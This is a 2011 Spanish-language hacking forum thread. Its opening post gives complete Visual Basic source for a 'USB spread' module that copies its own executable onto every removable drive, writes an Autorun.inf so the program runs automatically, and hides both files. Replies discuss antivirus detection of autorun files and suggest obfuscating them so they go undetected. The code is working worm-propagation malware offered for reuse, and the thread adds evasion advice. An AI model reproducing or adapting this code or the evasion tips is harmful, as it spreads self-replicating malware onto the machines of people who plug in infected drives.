send
Grupo de Telegram
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

mSpread USB [Modulo] [Fakedo0r]

  • 6 Respuestas
  • 2186 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Fakedo0r

  • *
  • Visitante
« en: Febrero 28, 2011, 06:34:35 pm »
Código: You are not allowed to view links. Register or Login
Option Explicit

'------------------------------------------------------------------------------
'------------------------------------------------------------------------------
'------------------------------------------------------------------------------
'------------------------------------------------------------------------------
' MODULO      : mSpread USB                              |||
' FECHA       : 12/29/2010 22:39                         |||
' AUTOR       : Fakedo0r                                 |||
' CORREO      : Luvel88@gmail.com                        |||
' DESCRIPCION : Propagacion por USB                      |||
' USO         : Call USB                                 |||
'------------------------------------------------------------------------------
'------------------------------------------------------------------------------
'------------------------------------------------------------------------------
'------------------------------------------------------------------------------

'==============================================================================
' --- APIS
'==============================================================================
Private Declare Function CopyFile Lib "kernel32" Alias "CopyFileA" (ByVal lpExistingFileName As String, ByVal lpNewFileName As String, ByVal bFailIfExists As Long) As Long
Private Declare Function GetDriveType Lib "kernel32" Alias "GetDriveTypeA" (ByVal nDrive As String) As Long
Private Declare Function SetFileAttributes Lib "kernel32" Alias "SetFileAttributesA" (ByVal lpFileName As String, ByVal dwFileAttributes As Long) As Long
'==============================================================================
' --- CONSTANTES
'==============================================================================
Private Const FILE_ATTRIBUTE_HIDDEN = 2
'==============================================================================
' --- FUNCION COPIAR
'==============================================================================
Private Function APIFileCopy(src As String, Dest As String, Optional FailIfDestExists As Boolean) As Boolean

    Dim lRet        As Long
   
    lRet = CopyFile(src, Dest, FailIfDestExists)
   
    APIFileCopy = (lRet > 0)

End Function
'==============================================================================
' --- FUNCION OBTENER NOMBRE
'==============================================================================
Private Function GetName(File As String) As String

    Dim P           As Long
   
    P = InStrRev(File, "\")
   
    If P > 0 Then GetName = Mid(File, P + 1, Len(File))

End Function
'==============================================================================
' --- FUNCION CALL USB
'==============================================================================
Public Function USB()

    Dim D           As Long
    Dim sDrive      As String
   
    For D = 65 To 90
   
        sDrive = Chr(D) & ":\"
       
        If GetDriveType(sDrive) = "2" Then
                       
            Dim sName       As String
            Dim sFile       As String
           
            sFile = App.Path & "\" & App.EXEName & ".exe"
                       
            sName = GetName(sFile)
       
            Open sDrive & "Autorun.inf" For Append As #1
                Print #1, "[AutoRun]"
                Print #1, "Open=" & sName
                Print #1, "UseAutoPlay = 1"
                Print #1, "shell\open\Command=" & sName
                Print #1, "shell\open\Default = 1"
                Print #1, "shell\explore\Command = " & sName
            Close #1
           
            DoEvents
           
            Call APIFileCopy(sFile, sDrive & sName)
           
            Call SetFileAttributes(sDrive & sName, FILE_ATTRIBUTE_HIDDEN)
            Call SetFileAttributes(sDrive & "Autorun.inf", FILE_ATTRIBUTE_HIDDEN)
           
        End If
       
    Next D

End Function

Desconectado ANTRAX

  • *
  • Administrator
  • Mensajes: 5267
  • Actividad:
    48.33%
  • Reputación 26
  • ANTRAX
    • Ver Perfil
    • Underc0de
    • Email
  • Skype: underc0de.org
  • Twitter: @Underc0de
« Respuesta #1 en: Febrero 28, 2011, 06:42:57 pm »
Esta buenisimo, lastima que ahora los AVs detectan a los autorun.inf


Desconectado _katze_

  • *
  • Underc0der
  • Mensajes: 37
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
    • Email
« Respuesta #2 en: Febrero 28, 2011, 09:11:22 pm »
ahy moduylos que crean autorun sin que los detecte por años es mas no lo detectan son tan aleatorios que nisiquiera dspues ed años lo llegan a detectar

Fakedo0r

  • *
  • Visitante
« Respuesta #3 en: Febrero 28, 2011, 09:53:11 pm »
Ofusca el code y sera uno de  esos modulos de los que habla el Katze  :P

Desconectado Juan

  • *
  • Underc0der
  • Mensajes: 159
  • Actividad:
    0%
  • Reputación 0
  • Ex-Drinky
    • Ver Perfil
« Respuesta #4 en: Marzo 15, 2011, 12:41:06 pm »
You are not allowed to view links. Register or Login
Ofusca el code y sera uno de  esos modulos de los que habla el Katze  :P

:S
No tiene  nada que ver ofuscar este código con el autorun que genere....

salu2!

Fakedo0r

  • *
  • Visitante
« Respuesta #5 en: Marzo 17, 2011, 08:59:33 pm »
You are not allowed to view links. Register or Login
You are not allowed to view links. Register or Login
Ofusca el code y sera uno de  esos modulos de los que habla el Katze  :P

:S
No tiene  nada que ver ofuscar este código con el autorun que genere....

salu2!

Entendiste mal PAPA  :P, yo hablo de ofuscar el code de autorun generado y no de este modulo :P , quizas me exprese mal.

Saludos.
« Última modificación: Marzo 17, 2011, 09:01:11 pm por Fakedo0r »

Desconectado Juan

  • *
  • Underc0der
  • Mensajes: 159
  • Actividad:
    0%
  • Reputación 0
  • Ex-Drinky
    • Ver Perfil
« Respuesta #6 en: Marzo 21, 2011, 07:09:42 pm »
ah, entonces si jajaja. Desde luego tiene que salir un autorun FUD por narices... la mayoria de los cds de programas lleban autorun y no son detectados.


 

¿Te gustó el post? COMPARTILO!



mMeltFile [Modulo] [Fakedo0r]

Iniciado por Fakedo0r

Respuestas: 0
Vistas: 1080
Último mensaje Febrero 28, 2011, 06:33:16 pm
por Fakedo0r
mSpread P2P [Modulo] [Fakedo0r]

Iniciado por Fakedo0r

Respuestas: 0
Vistas: 969
Último mensaje Febrero 28, 2011, 06:35:59 pm
por Fakedo0r